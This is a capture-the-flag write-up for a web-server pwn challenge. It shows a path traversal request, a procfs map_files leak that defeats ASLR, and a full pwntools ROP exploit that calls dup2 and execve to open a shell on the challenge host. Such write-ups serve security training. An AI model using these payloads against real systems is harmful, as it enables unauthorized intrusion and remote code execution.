Tags: rop pwn path-traversal
Rating:
# The Vulnerability
We got this obvious vulnerability that let us write a ROP chain to the stack in `handle_connection`:
```c
    // here, I'll just let you write a ROP chain. Without an address leak you won't be able to do anything anyways!
    if (http_method == HTTP_METHOD_POST) {
        //char *req_header_end = strstr(buf, "\r\n\r\n")+4;
        char *req_header_end = strstr(http_version_end+1, "\r\n\r\n")+4;
        int roplen = received - (req_header_end - buf);
        roplen = roplen > 128 ? 128 : roplen;
        memcpy(buf+RETURN_ADDR_OFFSET+8, req_header_end, roplen);
        //memcpy(buf+RETURN_ADDR_OFFSET+8, req_header_end, received - (req_header_end - buf));
    }
```
However, we still had a second vulnerability. In `parse_path` we return the request path as is:
```
char * parse_path(char *buf) {
    char *pathstart = strstr(buf, " ")+1;
    char *pathend;
    if ((pathend = strstr(pathstart, " ")) == NULL) {
        perror("Malformed Header");
        return NULL;
    }
    pathend = strstr(pathstart, "?") < pathend && strstr(pathstart, "?") != NULL ? strstr(pathstart, "?") : pathend;
    int pathlen = pathend - pathstart;
    printf("pathlen: %d\n", pathlen);
    char *path;
    if (asprintf(&path, "./%.*s", pathlen, pathstart) == -1) {
        perror("asprintf");
        return NULL;
    }
    return path;
}
```
We then proceed to use this path without normalizing it. Therefore we get path traversal with a request like:
```
GET /../../etc/ HTTP/1.1
Host: localhost:1337
```
Unfortunately, we couldn't read the flag this way because we only had directory listings...
# A Deep Dive into Linux's procfs
To exploit this challenge it seems like we need to defeat ASLR. We can easily get the libc on the remote by building the docker container ourselves and extracting `/lib/x86_64-linux-gnu/libc.so.6`. All that's left is to figure out where the libc is mapped.
In traditional UNIX philosophy, everything in Linux can be done via the file system. There are special directories in `/dev` `/sys` and `/proc`. Let's focus on the proc filesystem for now.
Each process has a directory `/proc/<pid>/` that contains a lot of information about a process.
Additionally, there exists a symlink at `/proc/self` that always points to the current process:
```
$ ls -l /proc/self
lrwxrwxrwx 1 root root 0 11. Jun 10:59 /proc/self -> 33982
```
So, what is the information you can get from a process? See for yourself:
```
$ ls /proc/self/
arch_status  cmdline             environ  limits     mounts      oom_score      root       smaps_rollup  task
attr         comm                exe      loginuid   mountstats  oom_score_adj  sched      stack         timens_offsets
autogroup    coredump_filter     fd       map_files  net         pagemap        schedstat  stat          timers
auxv         cpu_resctrl_groups  fdinfo   maps       ns          patch_state    sessionid  statm         timerslack_ns
cgroup       cpuset              gid_map  mem        numa_maps   personality    setgroups  status        uid_map
clear_refs   cwd                 io       mountinfo  oom_adj     projid_map     smaps      syscall       wchan
```
Let's cover a few interestig files:
* `cmdline` is the argv of the process, e.g.:
```
$ hexdump -C /proc/self/cmdline
00000000  68 65 78 64 75 6d 70 00  2d 43 00 2f 70 72 6f 63  |hexdump.-C./proc|
00000010  2f 73 65 6c 66 2f 63 6d  64 6c 69 6e 65 00        |/self/cmdline.|
0000001e
```
* `fd` is a directory containing symlinks to all open files:
```
$ ls -l /proc/self/fd
total 0
lrwx------ 1 root root 64 11. Jun 13:46 0 -> /dev/pts/3
lrwx------ 1 root root 64 11. Jun 13:46 1 -> /dev/pts/3
lrwx------ 1 root root 64 11. Jun 13:46 18 -> /dev/dri/card0
lrwx------ 1 root root 64 11. Jun 13:46 2 -> /dev/pts/3
lr-x------ 1 root root 64 11. Jun 13:46 3 -> /proc/34525/fd
```
   You can get more information about a particular file descriptor via the `fdinfo` directory
```
$ cat /proc/self/fdinfo/0
pos:	0
flags:	02
mnt_id:	25
ino:	6
```
* `mem` is a view of the process's virtual memory. You can seek to any virtual address in the file and read **or write** from/to the file and read or manipulate memory of the process! This is a quite powerfull tool.
* Similarly `maps` will give you the virtual address space layout of a process.
```
$ cat /proc/self/maps
560c9672d000-560c9672f000 r--p 00000000 103:01 965388                    /usr/bin/cat
560c9672f000-560c96734000 r-xp 00002000 103:01 965388                    /usr/bin/cat
560c96734000-560c96737000 r--p 00007000 103:01 965388                    /usr/bin/cat
560c96737000-560c96738000 r--p 00009000 103:01 965388                    /usr/bin/cat
560c96738000-560c96739000 rw-p 0000a000 103:01 965388                    /usr/bin/cat
560c98142000-560c98163000 rw-p 00000000 00:00 0                          [heap]
7feaf2400000-7feaf26e9000 r--p 00000000 103:01 928170                    /usr/lib/locale/locale-archive
7feaf2711000-7feaf2714000 rw-p 00000000 00:00 0
7feaf2714000-7feaf273a000 r--p 00000000 103:01 920914                    /usr/lib/x86_64-linux-gnu/libc.so.6
7feaf273a000-7feaf288f000 r-xp 00026000 103:01 920914                    /usr/lib/x86_64-linux-gnu/libc.so.6
7feaf288f000-7feaf28e2000 r--p 0017b000 103:01 920914                    /usr/lib/x86_64-linux-gnu/libc.so.6
7feaf28e2000-7feaf28e6000 r--p 001ce000 103:01 920914                    /usr/lib/x86_64-linux-gnu/libc.so.6
7feaf28e6000-7feaf28e8000 rw-p 001d2000 103:01 920914                    /usr/lib/x86_64-linux-gnu/libc.so.6
7feaf28e8000-7feaf28f5000 rw-p 00000000 00:00 0
7feaf28f7000-7feaf291b000 rw-p 00000000 00:00 0
7feaf291b000-7feaf291c000 r--p 00000000 103:01 920808                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7feaf291c000-7feaf2941000 r-xp 00001000 103:01 920808                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7feaf2941000-7feaf294b000 r--p 00026000 103:01 920808                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7feaf294b000-7feaf294d000 r--p 00030000 103:01 920808                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7feaf294d000-7feaf294f000 rw-p 00032000 103:01 920808                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffee7846000-7ffee7867000 rw-p 00000000 00:00 0                          [stack]
7ffee78b1000-7ffee78b5000 r--p 00000000 00:00 0                          [vvar]
7ffee78b5000-7ffee78b7000 r-xp 00000000 00:00 0                          [vdso]
```
`/proc/self/maps` sounds promising, but unfortunately that is a normal file and we cannot read those.
Well, it turns out there is also a `/proc/self/map_files`. This is a directory containing all memory mapped files as symlinks and their names are the address ranges:
```
$ ls -l /proc/self/map_files
insgesamt 0
lr-------- 1 root root 64 11. Jun 13:55 55f566cd9000-55f566cdd000 -> /usr/bin/ls
lr-------- 1 root root 64 11. Jun 13:55 55f566cdd000-55f566cf3000 -> /usr/bin/ls
lr-------- 1 root root 64 11. Jun 13:55 55f566cf3000-55f566cfc000 -> /usr/bin/ls
lr-------- 1 root root 64 11. Jun 13:55 55f566cfc000-55f566cfd000 -> /usr/bin/ls
lr-------- 1 root root 64 11. Jun 13:55 55f566cfd000-55f566cfe000 -> /usr/bin/ls
lr-------- 1 root root 64 11. Jun 13:55 7f9008400000-7f90086e9000 -> /usr/lib/locale/locale-archive
lr-------- 1 root root 64 11. Jun 13:55 7f900880b000-7f900886a000 -> /usr/share/locale/de/LC_MESSAGES/coreutils.mo
lr-------- 1 root root 64 11. Jun 13:55 7f900886d000-7f900886f000 -> /usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.11.2
lr-------- 1 root root 64 11. Jun 13:55 7f900886f000-7f90088da000 -> /usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.11.2
lr-------- 1 root root 64 11. Jun 13:55 7f90088da000-7f9008905000 -> /usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.11.2
lr-------- 1 root root 64 11. Jun 13:55 7f9008905000-7f9008906000 -> /usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.11.2
lr-------- 1 root root 64 11. Jun 13:55 7f9008906000-7f9008907000 -> /usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.11.2
lr-------- 1 root root 64 11. Jun 13:55 7f9008907000-7f900892d000 -> /usr/lib/x86_64-linux-gnu/libc.so.6
lr-------- 1 root root 64 11. Jun 13:55 7f900892d000-7f9008a82000 -> /usr/lib/x86_64-linux-gnu/libc.so.6
lr-------- 1 root root 64 11. Jun 13:55 7f9008a82000-7f9008ad5000 -> /usr/lib/x86_64-linux-gnu/libc.so.6
lr-------- 1 root root 64 11. Jun 13:55 7f9008ad5000-7f9008ad9000 -> /usr/lib/x86_64-linux-gnu/libc.so.6
lr-------- 1 root root 64 11. Jun 13:55 7f9008ad9000-7f9008adb000 -> /usr/lib/x86_64-linux-gnu/libc.so.6
lr-------- 1 root root 64 11. Jun 13:55 7f9008ae8000-7f9008aef000 -> /usr/lib/x86_64-linux-gnu/libselinux.so.1
lr-------- 1 root root 64 11. Jun 13:55 7f9008aef000-7f9008b0a000 -> /usr/lib/x86_64-linux-gnu/libselinux.so.1
lr-------- 1 root root 64 11. Jun 13:55 7f9008b0a000-7f9008b12000 -> /usr/lib/x86_64-linux-gnu/libselinux.so.1
lr-------- 1 root root 64 11. Jun 13:55 7f9008b12000-7f9008b13000 -> /usr/lib/x86_64-linux-gnu/libselinux.so.1
lr-------- 1 root root 64 11. Jun 13:55 7f9008b13000-7f9008b14000 -> /usr/lib/x86_64-linux-gnu/libselinux.so.1
lr-------- 1 root root 64 11. Jun 13:55 7f9008b33000-7f9008b3a000 -> /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
lr-------- 1 root root 64 11. Jun 13:55 7f9008b3c000-7f9008b3d000 -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
lr-------- 1 root root 64 11. Jun 13:55 7f9008b3d000-7f9008b62000 -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
lr-------- 1 root root 64 11. Jun 13:55 7f9008b62000-7f9008b6c000 -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
lr-------- 1 root root 64 11. Jun 13:55 7f9008b6c000-7f9008b6e000 -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
lr-------- 1 root root 64 11. Jun 13:55 7f9008b6e000-7f9008b70000 -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
```
We can use this on the remote server to get the address ranges of any memory mapped file as filenames. This way we can figure out that the libc is mapped starting at 0x7f9cbbcba000:
(Note: we pass `--path-as-is` to curl to prevent it from normalizing the requested path)
```
$ curl --http1.1 --path-as-is https://baby-ROP-but-unexploitable-0.chals.kitctf.de:1337/../proc/self/map_files/
<html>
<body>
 
# Exploiting via pwntools
Our goal is to pop a shell. This means we have to call `execve("/bin/sh", NULL, NULL)` in the end.
But before we can do that, we need to redirect stdin and stdout to our socket or else we cannot interact with the shell.
Here, the `dup2(from, to)` function comes in handy, it duplicates the file descriptor `from` and assigns it the number `to`. As the socket is file descriptor `4` we just need to call `dup2(4, 0)` to redirect stdin and `dup2(4, 1)` to redirect stdout
Exploiting this via pwntools becomes quite trivial:
```python
io = remote('baby-ROP-but-unexploitable-0.chals.kitctf.de', 1337, ssl=True)
libc = ELF('./libc.so.6')
libc.address = 0x7f9cbbcba000
rop = ROP(libc)
rop.dup2(4, 0)
# Calling rop.dup2(4, 1) would make our ropchain too long
# first argument (rdi) is already set, therefore we can make it a bit shorter
rop.rsi = 1
rop.dup2()
rop.execve(next(libc.search(b"/bin/sh")), 0, 0)
assert len(bytes(rop)) <= 128, len(bytes(rop))
post = f"""POST / HTTP/1.1
Host: baby-ROP-but-unexploitable-0.chals.kitctf.de:1337
User-Agent: curl/7.88.1
Accept: */*
Content-Length: {len(bytes(rop))}
Content-Type: text/plain
"""
io.send(post.encode().replace(b"\n", b"\r\n") + bytes(rop))
io.interactive()
```